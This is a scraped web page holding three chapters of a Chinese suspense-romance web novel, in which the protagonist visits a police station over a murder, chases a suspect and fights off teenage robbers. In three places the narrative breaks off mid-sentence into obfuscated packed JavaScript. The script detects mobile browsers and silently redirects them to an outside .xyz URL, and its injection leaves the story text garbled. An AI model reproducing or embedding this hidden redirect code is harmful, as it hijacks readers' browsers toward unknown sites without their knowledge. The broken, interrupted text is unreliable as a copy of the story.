元舒循着声音看去,仰起了头,看向天花板。 白色的天花板上贴满了与一楼蛋糕店同样的装饰强制,米白色条纹,小熊、兔子、乌龟…… 嗒嗒。 像是弹珠砸在地面发出的弹跳声,但很快,嗒嗒,脚步声,楼上那个人弯下腰,捡起了弹珠。 他没走。 他停留在那里。 停在了……元舒正上方的位置。 “怎么了?” 肩膀被拍打,元舒猛然惊醒。 明飞尘蹙眉:“你不舒服吗?” “不是。”元舒心律不齐,呼吸微微急促,缓和了几秒,才继续说,“楼上好像有人在玩弹珠,声音有点大。” 话音一落,元舒看见面前的明飞尘眯起眼睛,说:“可是楼上没有人。” 元舒怔愣:“什么?” 明飞尘:“楼上是毛坯房,是空置房屋,一般情况下,应该是不会有人出现在上面的,不过……” “或许是有谁偷偷跑上去也说不定。”明飞尘捏了把元舒的脸,笑道,“你太紧张了宝宝,看来昨天的杀人案确实让你感到害怕了,别急,等你吃完这个蛋糕,我就带你去找我的一个叔叔。” “叔叔?” 元舒一脸茫然:“什么叔叔?我们不是要去警局或者……找黑客吗?你叔叔是黑客?” “当然不是。”明飞尘忍俊不禁,往元舒手里塞过去自己刚做好的、巴掌大的玫瑰花纸盒蛋糕。 淡粉色的奶油玫瑰花,裱出了花丛的感觉,上面洒了些银白色米粒大小的糖珠,还特地放了一个小兔子软糖做装饰。 元舒拿起叉子舀了口奶油,丝滑甜蜜的口感,糖珠入口即化。 明飞尘的手艺居然还不错。 他一边吃,一边好奇地看向明飞尘,然后就见这人笑着说道:“当然是,我的……局长叔叔。” “……” 8. 第二个男朋友 “看来宝宝你还是对我家的了解不够深啊。”明飞尘看着元舒呆愣的样子,幽幽道,“还是说,你都忘记了?” “……最近上班有点累,忘记了。” 元舒:虽然是从来都没有了解过…… “我祖上不算特别有钱,但是在我曾曾曾爷爷那代,他们就出海做生意了。”明飞尘摸着下巴说,“有钱之后,家里的孩子争气的都出去读书做官了,不争气的都去做生意了。” “最不争气的,就是像我这样花钱了。” “……” 元舒深呼吸一口气,阻止他继续往下说:“不要说了。”再说下去他怕自己丧失理智。 明飞尘笑眯眯:“好哦。都听你的。”然后就坐在旁边撑着下巴看元舒吃蛋糕。 不得不说,用料好的蛋糕吃起来不会难吃,元舒摄入甜品,感觉人都精神了不少。 眼见着时间到了十一点十五分,元舒怕明飞尘要去吃饭,从而把调查的时间拉长到下午,连忙催促:“我们快走吧,马上要到午饭时间了,查完我们就去吃饭。” 明飞尘应好,随即便去找龚老师说了句话,带着元舒提前下课离开了。 下到一楼,蛋糕店里来了几个客人,正挑好了蛋糕和面包在前台结账,柯文昊正在给她们打包。 元舒被明飞尘牵着手往外走,临离开门前回头看了一眼,恰好与柯文昊对视。 元舒对着他笑了一下,之后就被搂着肩膀出门。 风铃声叮叮铛铛地响动,蓝色是玻璃小球在阳光下散发着剔透的光。 离开蛋糕店,外面一阵热气蒸腾,晒得元舒皱起眉头,下意识想要找地方躲避日光,明飞尘见状,把人揽进怀里,迅速走向了一辆正在路边停靠的黑色迈巴赫,打开后座把人塞了进去。 车内开足了冷气,元舒一下从地狱回到天堂,他抬头,看见驾驶座上坐着一个约莫四十多岁的中年男人。 男人在后视镜内看见元舒朝自己看来,当即笑着打招呼:“元先生,好久不见。” 见元舒面露尴尬,仿佛不认识他的模样也不生气,而是重新自我介绍:“我是少爷的司机,您可以喊我李叔。上个月我休假,没有陪在少爷身边,你也应该很久没见到我了,是不是很陌生?” 李叔自我调侃:“我把留长的胡子刮了,少爷说我年轻了不少。” 元舒心里稍稍松口气,应和:“是年轻了不少。” “聊什么呢?”明飞尘坐进来。 “许久不见元先生,我怕他不认识我了。”李叔笑着说道。 说完,又询问:“少爷,我们现在是去S市警局吗?赵秘书已经联系了赵局长,直接过去就可以见面了。” “嗯。” 明飞尘点头,关上车门,“走吧,开快点,查完号码就离开,我可不想和他们一起吃饭。” “好的。” 李叔启动车辆,车子平缓往外行驶,在离开这条路开向主道,再开始加速。 市警局离蛋糕店不算太远,约莫八公里,元舒一路上不免生出几分紧张,他看向明飞尘,抿唇问:“待会儿我可以问问警察,关于昨天案件的事儿吗?” “当然可以。”明飞尘说,“事关你的人身安全,你当然可以知道,不过具体的他们应该不会和你说,我这次带你去只是为了查一下电话号码,这是合乎情理的。” “如果那个吴先生和犯罪者有关系,说不定你这次还是去帮忙提供线索的呢。” 明飞尘捏了一下他的鼻尖,随后意味深长地说道:“宝宝,你跟之前好像有点不太一样,你以前胆子可是很大的,别说是警局,就算我要带你去爬珠穆朗玛峰,你也应该只会说没意思,现在是怎么了?” “……” 元舒面不改色:“被工作摧残得有点精神分裂了。” 明飞尘忍俊不禁,煞有其事地点头:“你们领导真是太坏了,不然去我家的公司上班吧?我给你挂个经理的名号。” “算了。”元舒含痛拒绝,邬从律的嫌疑也没有彻底排除,他还是需要盯着邬从律,况且明飞尘的话也不可信。 不过…… “你见过我的领导吗?”元舒警惕。 “见过,好像是叫王经理?” 元舒松口气,“嗯,对,她是我的领导。” 放松警惕,他重新坐直了身体,打开手机看时间,垂着头,黑发柔顺,有些许贴着脸颊,显得一张脸小得一只手就能握住。 明飞尘坐在他身旁,脸上的笑还停留着,凤眼内却不留一丝情绪,平静到近乎冷漠地看着他。 探究、好奇、怀疑……这些情绪全部在车停下来,元舒抬头的一刹那全部消失。 “到了吗?”元舒问。 明飞尘将贴在元舒脸颊的一缕发丝拨开,随后扭头看向车外不远处的警局,“到了,走吧。” 打开车门下车,二人推门进入警局,里面的民警听到声音,当即起身朝他们看去。 “你们有什么事吗?”民警问。 明飞尘:“我们找人。” “找谁?” 明飞尘没有回答,而是对着对方昂了下下巴,示意他看身后。 元舒看见有个约莫三十多岁,胡子邋遢,身穿警服的男人正从民警身后走出来。 不知道是不是错觉,元舒总感觉对方在看见他之后,眼中闪过讶异,像是……认识他一样。 而此时民警回头,看见来人后,喊:“田队。” “嗯,他们是来找我的。” 田队摆摆手,“你去做事吧,我带他们就行了。” “是。” 民警虽然好奇,但还是对着田队点头,回到了自己的位置上,看着田队把那两个长相不凡的青年带进了办公室。 办公室内,田队关上门,对着明飞尘笑道:“赵局临时有事,不方便和你见面,你有什么事跟我说就可以。” 说完,他又看了眼元舒,“这位是你的朋友吗?” “嗯。”在明飞尘回答之前,元舒连忙点头应声,“对,我们是朋友,因为我昨天意外收到了一个陌生人给我点的外卖,我有点怕是罪犯盯上了我,所以想来问一下。” 元舒补充:“我住在淮水去,前天的杀人案就发生在我住在的隔壁街。” 这句话一出,田队的神情立即认真起来,他沉吟片刻,问:“你为什么会觉得罪犯盯上你了呢?” 元舒莫名想起那天早上看见的男人,在警察面前,有些事情是不能隐瞒的,所以他道:“在案发那天的清晨,我和邻居一起坐电梯下楼,在到达一楼大厅的时候,我看见有个打扮很严实的男人从外面走进来,他……给我的感觉很奇怪。” 这种奇怪加上昨天发现原身有n个男朋友并且开始默默翻船后,变得更加诡异,元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239160|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒甚至怀疑,那个人或许也是自己的男朋友之一。 况且在那天过后,他就再也没见过对方,而且那个男人当时戴着口罩和鸭舌帽,看不清楚脸,只露出一双眼睛,那天又是暴雨天气,现在元舒再度回想,也就只有一个模糊的轮廓形象了。 硬要说,元舒觉得明飞尘要是作出那副打扮,也有七分像。 “那为什么当天你没有报警?” 田队已经彻底忘记了自己接到赵局长任务时,满脑袋的敷衍想法,他神情严肃地看向元舒,不由自主地拿出了审问的驾驶。 元舒被他盯得生出几分不安和心虚,有一些事情他是不能说的。 不知道明飞尘是不是看出来了,一直在旁边等待的他突然上前一步,挡在了元舒面前,向来笑意盈盈的脸上神情变得冷淡。 “田队,我们是来寻求帮助的,而不是来自首的。” 田队回神:“抱歉,我只是太紧张了。实不相瞒,我们现在还没抓到凶手。” “不知道是因为那天的暴雨天气,还是因为凶手刻意为之,淮水街3-6号路的监控都坏了,今天才派人修好。” 田队一边说,一边搬来两张椅子,示意他们坐下,“所以你们要是有线索,一定要及时告知我们,因为我们怀疑……” 话说到这里,田队话语停顿片刻,仿佛正迟疑要不要继续说下去。 元舒急了,追问:“怀疑什么?” “怀疑他不会停手。”田队最终还是说了,“因为我们在搜查的途中,找到了一张他留下来的卡片。” “我可以看看吗?” 元舒沉下心,道:“我想看看字迹,看看那张卡片,和昨天蛋糕店送来的贺卡是不是同一个人写的。” 田队点头:“可以。你顺便把手机号码给我,我叫人去查查电话卡是用谁的身份证购买的。” “好。” 元舒把手机号码抄写给了田队,田队很快就拿着纸条出了办公室,只留下元舒和明飞尘在办公室里。 元舒紧绷的身体放松,肩膀微塌,靠在办公桌的桌面上,神情忧虑。 手背被轻轻戳了一下,元舒侧头,就看见明飞尘撑着下巴,另一只手拿着钢笔,正拿笔盖在他手背上滑动。 “昨天你害怕吗?”明飞尘问。 元舒怔愣,反应过来后,道:“刚开始有点,后面就不怕了。” “为什么?” “因为……就一条命。”元舒笑道,“他最多就是把我杀了,还能怎么样?” 他本来早就死了,现在不过是意外多了一条命,如果是因为原主的缘故导致这条命没了,他自己又没有办法护住,那就只能说是因果循环了。 元舒想,自己已经尽了最大的努力,还能怎么办呢? “如果有比死更可怕的事情呢?”明飞尘的笔落在了元舒的掌心位置,稍稍用力戳下,上面就陷出一个小坑。 “什么事?”元舒抓住那支笔,握在手心,轻而易举地把它从明飞尘的手里抽出。 明飞尘也不恼,而是弯下腰,靠近元舒,轻声道:“比如……” 距离越来越近,他的呼吸落在元舒的脸颊上,眼眸幽暗,像一个巨大的、蕴含着危险的漩涡,想要把元舒吸进去。 元舒努力控制住自己想要逃跑的冲动,看着他慢声道: “失去自我,成为其他人的傀儡。” 9. 第二个男朋友 “砰——” 开门声将元舒猛然惊醒,他推开明飞尘,坐直了身体,侧头看向门口。 田队正推门而入,手里拿着一张巴掌大的硬质小卡片,眉头紧皱。 “田队?”元舒喊了声。 “嗯。”田队走上前,把手里的小卡片递给他,“你看看是不是同一个人写的。” 元舒接过卡片,身体一僵。 田队见状,连忙问:“是一样的字迹吗?” 一旁的明飞尘走到元舒身边,低头看去,小卡片上面写着一行字:亲爱的,猜猜我是谁。 “……是一样的。” 元舒吐出一口气,面对两人的目光,再一次重复:“字迹,是一样的。” 不仅一模一样,元舒还觉得这张小卡片,是“男朋友”特地留在案发现场附近,让警察找到,再让他看到的。 可是对方怎么会知道他会来警局呢?又怎么会知道……明飞尘和警局局长有关系呢? 元舒感觉自己正站在风暴的中心,稍微偏移一点位置,就会落入万劫不复的地步。 他现在甚至不敢立刻去看明飞尘,生怕自己的表情和眼神会泄露自己的戒备与警惕。 “电话号码查到了吗?”元舒握紧手,拇指指甲陷入肉里,疼痛感让他清醒过来,他看向田队,带着期翼地问。 田队表情复杂:“查到了,但是……那个人已经死了。” “死了?”元舒愕然。 “对,而且死的那个人,就是受害者。” 田队把一张打印出来的资料都给元舒,上面是受害者的信息。 “受害者住在淮水路6街的单元楼小区里,名叫厉和泰,今年48岁,上半年失业后一直住在家里面,平时爱酗酒和打牌来发泄情绪,案发前一天,他因为和妻子吵架外出喝酒,结果……” 田队顿了顿,道:“我们怀疑凶手是随机性杀人,厉和泰只是意外撞上了他。凶手杀死厉和泰之后,就拔掉了他的电话卡,给你定了蛋糕。” “元舒,你应该才是他真正的目标。”田队下了定论。 他严肃地看着元舒,“近段时间,我们会随时派人跟在你居住与上班的地方附近,也会给你一个特殊的手机号码,让你随时能够联系到我们。” 说到最后,田队问:“你和什么人有纠纷吗?比如男朋友,或者追求者之类的?” “……” 元舒不好意思说,他其中一个男朋友就在这件办公室里面。 所以他摇摇头,说:“不知道。” “那有可能是你的追求者。”田队道,“你最近拒绝过谁?或者,以前拒绝过的人对你死缠烂打,让你印象深刻的。” 元舒继续摇头:“不记得了。” 田队叹气:“一一排查太麻烦了。”他看着元舒的脸,心想,太招人了也不好。 “有啊。”明飞尘抽过元舒手里拿着的卡片,仔细打量了一下,说,“柯文昊不就是喜欢你吗?而且柯文昊说,外卖是预订单,那么这就说明了一件事。” 明飞尘对着元舒晃了晃纸片,纸片哗哗作响,“贺卡要么是柯文昊写的,要么是他店员写的,要么,就是外卖员有问题。” 田队最先反应过来,“我立刻叫人去查。” 他往外跑了几步,临出门前,扭头看向两人:“你们早点回家吧,有消息我们会立刻通知你们的。” “需要我派人送你们回去吗?”田队问着,视线却是看向了元舒。 “不用。我会送他。”明飞尘搂住元舒的肩膀,把脸靠在对方单薄的肩膀上,笑眯眯地对田队道。 田队蹙眉,不太赞同地看了眼元舒,但最终还是什么都没说,离开了办公室。 之后外面一阵窸窸窣窣,元舒和明飞尘再出去,就看见座位上空了几个人。 他们离开警局,站在门口,阳光正好。 此时时间已经来到了中午十二点半,明飞尘问元舒:“想吃日料吗?” 元舒心不在焉:“都可以。” 他仰头看明飞尘,“你为什么要说柯文昊喜欢我?” “他当然喜欢你。”明飞尘理所应当地说,“不然我为什么会来那家店里学烘焙?当然是要防着情敌了。” “……”万万没想到居然是这个理由,元舒还以为是富二代闲得慌,加上想要为了讨对象欢心。 元舒一时无语,但很快,他就想起来另一个问题:“你之前在办公室,为什么要对我说,还有更可怕的事情会发生?” 他目光紧紧地盯着明飞尘,企图从对方脸上发现端倪:“你知道什么?” “我知道什么?我什么都不知道啊。”明飞尘耸肩,“我当时只是想吓吓你,比死更可怕的事情……” 明飞尘神秘地低头,和元舒额头碰在一起,“……是先奸后杀。” “宝宝你长得那么漂亮,又被变态盯上,可要小心点。” 元舒默默地看着他不说话。 明飞尘脸上故意露出的恐吓笑容一顿,他危险地抓住了元舒的肩膀,“干嘛这样看我?你觉得我是变态?” “我没说。”元舒左顾右看,转移话题,“我有点口渴,先去买瓶水吧,那里有便利店。” 明飞尘咬着后槽牙,哼笑两声:“车里有水,你给我说清楚……” 话音未落,手下搭着的身体骤然一空,明飞尘怔愣,看见元舒不知道看见了什么,突然快步往便利店的方向冲过去。 “元舒?!” 明飞尘看着那道身影如闪电般冲进便利店里面,好气又好笑,但下一秒,还是跟了上去。 而便利店内,元舒面对店员惊讶疑惑的目光,快步往排列商品的货架上看去。 没有、没有、还是没有……可他明明看见了那个在命案发生的前天,曾经出现在他租房楼下的,穿着冲锋衣的男人。 甚至于,对方刚刚还穿着那件深蓝色的冲锋衣,戴着黑色的鸭舌帽和口罩。 就是因为看见了对方的身影,元舒才会冲进便利店里面。 可是为什么一进来,人就不见了呢? 元舒跑到便利店内的前台,急切地问店员:“刚刚,刚刚这里是不是有个穿冲锋衣的男人在买东西?他去哪里了?” 店员被元舒吓了一跳,但看着对方因为焦急而微微涨红的脸,以及那双含着水般的眼眸时,还是不由自主地说道:“对,是有,但是你进来的时候,他已经结账从另外一个门走了。” 说完,店员指向了右侧方的另一个出口,“刚走。” 与此同时,明飞尘进入便利店,抓住了要往外跑的元舒,他力气大得惊人,手像铁铸的一样,牢固得令元舒无法撼动分毫。 “你放开我!”元舒挣扎。 “你到底在找什么?”明飞尘冷下脸,“告诉我。” “我在找命案发生那天早上出现在我家楼下的那个,穿冲锋衣的男人!我刚刚看见他了!他很有可能就是杀人犯!” 元舒着急:“你快放开我!不然等下就找不到他了!” 明飞尘愣住,随后反应过来,松开了握着元舒肩膀的手,转而攥住他的手腕,语气意外地沉静可靠:“他往哪里跑了?我跟你一起去。” “店员说他从那个门里出去了!诶?诶——!” 元舒指向便利店后门,声音还没落下,人就被明飞尘带着往前跑去。 明飞尘长腿一迈,速度惊人地快,元舒一时之间竟然有些跟不上,如果不是对方一直拉着他的手腕,恐怕他就要落后更多了。 两人一起冲出了便利店,左右查看,元舒眼尖地看见一道蓝色的影子进入了一条巷路。 “在那里!” 元舒叫道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239161|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明飞尘当即就带着他跑去,可就在两人一起进入巷口的前一秒,元舒感觉到握着自己手腕的那只有力的手突然松开了。 他一愣,随即就见明飞尘比自己先一步进入巷口。 就在那一刹那,暗绿色的玻璃啤酒瓶从巷口内的右侧边隐蔽处出现,朝着明飞尘的脑袋狠狠砸下。 元舒大惊失色:“明飞尘——” 明飞尘弯腰侧头躲闪,手肘曲起,打中了袭击者的下巴,再抓住对方的领口往下拉扯,同时速度不停,在做完前面一系列动作,偷袭的人因此站不稳往下倒时,他就已经顺利地进入了巷口里面。 元舒松口气,停下脚步后冷汗直冒。 要是那一瓶子砸到明飞尘的头上就完了。 巷子内很快传来打斗的声音,元舒拿出手机,迅速拨打田队给他留下的电话号码,告知对方情况。 “……对,我们现在正在警局附近的4街,有照相馆的这家,有一条巷口,快来!他们有同伙!” 轰—— 元舒手里的手机被恶狠狠地砸在了地上,对方怒道:“那家伙居然还敢叫人来?!” 喊叫的人穿着一身红色骷髅头T恤,下搭黑色宽松工装裤和铁链装饰,长相年轻,约莫才十八九岁。 元舒立即觉出不对劲,这人不像是蓝色冲锋衣的同伙。 但他顾及不了太多,因为对方的拳头已经朝着他挥了过来。 元舒立刻用力把包甩出去,对方躲避退后,他就趁着这个间隙里面拉开背包拉链,掏出里面准备好的折叠木棍——今早路过玩具店时买的,想着以防万一,没想到居然用上了。 骷髅T恤男见状,手一甩,尖刀在阳光下泛着刺目的光。 “敬酒不吃吃罚酒。”骷髅T恤男冷笑,“既然来了,那你就把身上的钱都留下来吧。” 话毕,直接朝着元舒冲过去,元舒握紧长棍,也挥了回去,刀与棍相撞,刀深深嵌入了棍子里,但出乎意料的是,棍子并没有断,反而刀还因为嵌进里面而拔不出来。 骷髅T恤男震惊:“怎么会这样!?” 元舒则是不由在紧张中感慨:小孩儿的玩具质量真好。 对方没有武器,元舒抓准时机,用木棍的另外一边狠击骷髅T恤男的肩膀,直把人打得退后几步,而巷子内,也屁滚尿流地跑出来一个鼻青脸肿的男生。 “救命啊!”男生摔在地上,往外爬了几步,冲着自己的同伙喊。 嗒嗒。 皮鞋踩在地上发出细微的响声,元舒抬头望去,就见明飞尘慢悠悠地从巷子里面走出来。 男人肩宽腰窄,袖子挽到小臂位置,露出流畅紧实的肌肉,指节微微泛红,大概是揍人时留下的。 他看向元舒,耸了耸肩:“宝宝,里面没有你想要找的人,他消失了,里面只有一个高中生混蛋逃课,并且抢劫了自己的同学。” 明飞尘瞥了眼元舒面前站着的骷髅T恤男:“哦,两个。” “……” 元舒头疼不已:“……就当做好事了。反正警察也快过来了。” 说着,元舒还是忍不住往四处看,企图找到跟丢的身影。 结果人没找到,却意外看见被明飞尘打得摔在地上,一动不动的男生将手伸向了自己的腰间。 几乎是瞬间,元舒人还没反应过来,声音就先一步喊出:“小心——” 男生暴起,拿着刀扭身刺向明飞尘的胸膛。 明飞尘迅速抓住对方的手腕,长腿一抬,狠狠踹下。 男生的腹部遭遇重击,发出痛苦的呻吟,但他仍然没有松开握着刀的手,眼睛布满红血丝,和明飞尘角力。 “明飞尘!” 明飞尘抬起头,看着元舒着急地朝他们跑来,心神微动,手上的力气似乎松懈了一瞬。男生狂喜,用尽所有力气抬手刺下—— 10. 第二个男朋友 尖刀落下,直对准明飞尘的胸膛,刀刃甚至刺破衣服布料,但就在那一瞬间,明飞尘回神,手臂猛地重新抓稳男生的手臂,随即另一只手握拳锤向对方的脸颊。 “啊——!!!” 男生发出痛叫,“哐当”一声,刀掉在了地上。 元舒松口气,快步跑到明飞尘的面前,“你没事吧?” 明飞尘推开男生,让他倒在地上继续哭嚎,转头看向元舒,微微歪了下头,手摸向自己的锁骨,一点湿润的红沾在指尖,像是洒落的颜料。 “有点事。”明飞尘假装虚弱地对元舒展示了一下自己的伤口,“好痛啊宝宝,我会不会失血过多?” “……” 元舒着急的表情凝固在脸上,看着他锁骨处还没一个指节大的划伤,陷入沉默。 还失血……恐怕过会儿再不包扎,伤口就结疤了。 “警察,站住!别跑!” 身后传来脚步声与叫喊,元舒顾不得和明飞尘说话,转头看去,就见两个警察拿着电棒跑了过来,齐齐抓住了骷髅T恤男以及企图拿刀捅明飞尘的男生,还有巷子里面抱着书包,脸上带伤,穿着校服的男高中生。 现在看来,确实是一起高中生霸凌抢劫事件,而且还是趁着工作日,街道人不多的时候抢。 在那两人被警察带走时,元舒的身后突然贴过来一具身体,对方的呼吸落在他的耳畔。 “你高中时,会有人欺负你吗?”明飞尘问。 元舒一愣。 高中吗? “没有吧。”元舒回想了一下。 “吧?”明飞尘挑眉。 “就是有点麻烦。”元舒说,“总的来说,最后顺利解决并且毕业了,没什么特别的。” 明飞尘看着他,眼前莫名浮现出他稚嫩而又青涩的少年模样。会因为长相太受欢迎而苦恼吗?会天天做题做到暴躁骂人吗? 背着书包,穿着呆板的校服,走在学校道路边时,会突然抬起头,对夕阳发出感慨,任由余晖落到脸上,漂亮的脸蛋会浮现出柔和的神情吗? 明飞尘举起的手落在面前青年的脸颊上,微微捧着,指腹擦过对方的眼角。 元舒慢慢睁大了双眼。 明飞尘的心因此轻盈起来,他低下头,然后……被元舒用力推开。 “……” “你给我站住!” 元舒弯腰逃离明飞尘的怀抱,从他身旁越过,飞一样迅速跑到了不远处,猛地从另一头巷口的转角拽住即将消失的衣服布料,将人扯出来。 “诶?你干嘛?!” 被扯住衣服的人发出惊叫,后退几步,退出巷口,赫然就是刚刚元舒和明飞尘追的深蓝色冲锋衣男人。 元舒不顾他的叫喊,直接拽下他的口罩,震惊:“怎么是你?!” 明飞尘这时也走上前来,拽住了男人,闻言,上下眼睫一抬一扫,没看出什么特别的地方。 “你认识他?” “……他就是昨天给我送外卖的外卖员。” 元舒百思不得其解:“怎么会是你?” “怎么不是我?”男人也奇怪,“你拉我干什么啊?我来这里就是为了送外卖的……你快放开我,我要超时了!” “不行,你不能走。”元舒斩钉截铁拒绝。 男人崩溃:“那我外卖怎么办!” “我去给你送。”元舒说着,又看了眼明飞尘,“你帮我看着他?” “……” 明飞尘像是深呼吸一口气,最后妥协:“一起去吧,不要落单。” 元舒赞同这个理由,然后就抓着男人,跟明飞尘像押送犯人一样让对方送完了手里的外卖,并且关闭了平台接单,把人扭送警局。 不多时,田队也接到电话准备回来,并且派了自己在警局都副手对冲锋衣男进行审讯、查阅资料、监控确定。 元舒和明飞尘有幸吃上了警局的工作餐,一荤一素加一汤,味道居然还算不错。 明飞尘倒是很嫌弃,让司机去特地买了日料打包回来吃。 日料包装精致,摆盘有序,底下甚至还放了冰袋以防天气过热食物变质,一小盘一小盘的餐点摆满了长桌,看得警局的人目瞪口呆。 有些人看着自己手里的盒饭,陷入沉思,然后在下一秒,司机提出两大袋日料表示明飞尘请客时,愉快地抛弃了盒饭,加入日料大队。 田队回来时看见这一幕,险些以为自己进错了地方。 “田队,要一起吃吗?”元舒举着筷子朝对方招手。 “……吃一点吧。”田队摸肚子,饿了。 填饱了肚子,审讯以及查资料的同志也得到了结果,把资料交给田队等人,开始吃留下来的饭菜。 田队看了遍资料,随后递给元舒,在对方看时,说道:“我去找了柯文昊,他的字迹和卡片上犯人的字迹对不上,不过当时店员确实手写了贺卡,放在桌面,我查了监控,那张贺卡并没有被外卖员拿走,现在还放在蛋糕店里面。” 说着,田队从兜里掏出在蛋糕店带回来的贺卡,以及让柯文昊现场写下的字。 元舒看了一眼,这两个人的字迹确实都和犯罪现场留下的卡片字迹不同。 “……外卖小哥的字迹也和卡片上的不同。”元舒视线落在手中资料页面的最后一行,上面的签名老实而刻板,与卡片飞扬的字迹完全不同。 而且,如记录下的审讯信息所说,外卖小哥只是单纯地送外卖,他穿深蓝色冲锋衣在大夏天里出门,也是因为他患了皮肤病,在白天不能被日光暴晒。 至于昨天在蛋糕店里拿外卖时遗漏了贺卡,送到他手里却莫名其妙出现了另外一张这件事,他完全不知情。 但元舒也在多看外卖小哥几眼之后,确切地相信,昨天清晨与他和王佩佩擦肩而过的男人,并不是对方。 可惜那天监控与电路都断了,没有留下任何关于对方出现的画面。 线索在这里形成了闭环,像是一场乌龙玩笑。 像是有人预料到一切,正在暗处默默看着他,等待他踏入陷阱,在故意耍着他玩。 田队也是这样认为的。 “他是故意的。” 田队示意元舒看下一张资料,上面是在巷口持刀抢劫霸凌同学的高中生二人留下的审讯信息。 “他们本来打算在学校附近抢劫同学,结果莫名其妙地带着人跑到了警局不远处的巷口抢劫。” 田队说:“审讯后,其中一个男生说,他们是意外听见路过的人说,现在是工作日,这边的商业街道人少,刚好可以抢劫完就去玩,至于警局……最危险的地方就是最安全的地方。” 田队忍不住吐槽:“这俩小孩今年才十八,脑子还没八岁的灵活。” “……” 确实。 元舒深以赞同。 “我怀疑那个路人,可能就是犯人。” 田队严肃道:“即使不是,那也说明他是受到犯人的指使。还有,今天你刚来警局,外卖小哥就在前后几秒收到这边的订单,过来送外卖,这一切太巧合了。” 元舒预料到对方要说什么了。 “他肯定暗中在监视你。” 元舒点头,但最终还是没有把从房间里面搜出监控摄像头这件事告诉对方。 “谁在监视你?” 明飞尘从警局内的走廊走出,边走,边顺手抽过旁边办公桌上的纸巾擦手,他表情带着微妙的嫌弃,“厕所太烂了,你们什么时候修一下?” “……上个月才修过。”被他抽走纸巾的警察默默道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239162|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明飞尘啧了声,不满,但也没管太多,而是看向元舒,问了一遍刚刚的问题:“谁在监视你?” “田队说犯人有可能会在暗中监视我,也不知道是谁。”元舒放下资料,随口说着,却不动声色地观察明飞尘的神情变化。 明飞尘毫无所觉,反倒是皱紧眉头:“今天开始搬到我家去住吧,有安保,没有人能把你从我身边带走。” “不了,我还得上班。”元舒看不出端倪,只好暂时放弃。 “况且难道我还能一直不出门吗?” 明飞尘笑:“如果你想,我可以养你一辈子。” 元舒无言以对,同时,他注意到,田队又用一种奇怪的目光看着他,像是怀疑,也像不赞同。 田队似乎有些问题,难道他们以前认识吗?还是说,田队认识什么人,和他认识? 元舒顿时想到了自己的众多男朋友,既然明飞尘能用关系找到田队帮忙,那其他人又何尝不可以呢? 想到这里,元舒毛骨悚然。 他攥紧手,把惧意压在心里,深呼吸一口气,状若无事道:“与其让我不出门,还不如赶紧想办法抓到他。” “这就是警方的事情了。”明飞尘把目光移向田队。 田队自然是应承:“我们会竭尽全力保护市民安全,也请你们尽自己所能提供线索。” 一番折腾,时间转眼来到了三点半,元舒离开警局,只觉身心疲惫。 明飞尘想带他回自己家里,但元舒还是拒绝了。 “我有点累了。”元舒坐在副驾驶座,侧头看向车窗外。 他眉目间带着几分疲惫,睫毛纤长浓密,垂下时遮住如含秋水的双眸,黑发被车窗的风吹起些许,衬得整个人脆弱又单薄。 明飞尘眼瞳微动,把他揽进怀里,“别担心,只是早晚的问题,一切都会结束的。” 元舒现在懒得推开他了,任由他抱着,闻言心下生出淡淡的忧伤。 说得轻巧,马上要被情杀的人又不是你。 “别怕,有我呢。” 明飞尘抚摸他耳畔的头发,亲昵道:“有什么事,给我打电话就好了,我会立刻赶到你身边的。” 元舒抬起眸看向他。 自上往下看,怀里的人真是张着又小又漂亮的一张脸。明飞尘低下头…… “少爷,元先生,到了。”李叔不合时宜的声音响起。 车停了,明飞尘的动作一顿,元舒也慢吞吞地从他怀里离开。 “拜拜,我走了。”元舒开门下车,毫不留恋地离开。 明飞尘面无表情地看向前头的李叔。 李叔和他对视,一脸茫然,“怎么了?少爷?是元先生漏东西了吗?” “……没有。回去吧。” 车子驶离,元舒一边想着今天的事,一边走进居民楼,进入电梯。 电梯内亮着的光刺目而耀眼,照得电梯按键的颜色格外鲜艳。 元舒看着按键发呆,直到“叮——”的一声,电梯门开了。 迈步离开电梯,转身,在视线触及到前方不远处站在门口的人时,元舒停下了往前走的步伐。 在他的正前方,一道高大而挺拔的身影正缓缓转过身看向他,英俊冷漠的面容,烟灰色的眼眸像含着霜雪,这不是邬从律,又是谁? 元舒感觉到邬从律的视线冰冷地一寸寸扫过他的脸颊。 莫名的心虚感让元舒不由自主地低下头。 嗒嗒。 皮鞋踩在地面发出响声。 邬从律走到他的面前,食指微勾,抬起他的下巴,迫使他与其对视。 食指指腹摁住唇珠,抚摸上面轻微凹陷的牙印,男人的声音像是即将席卷而来暴风雪。 他平静地问:“谁干的?” 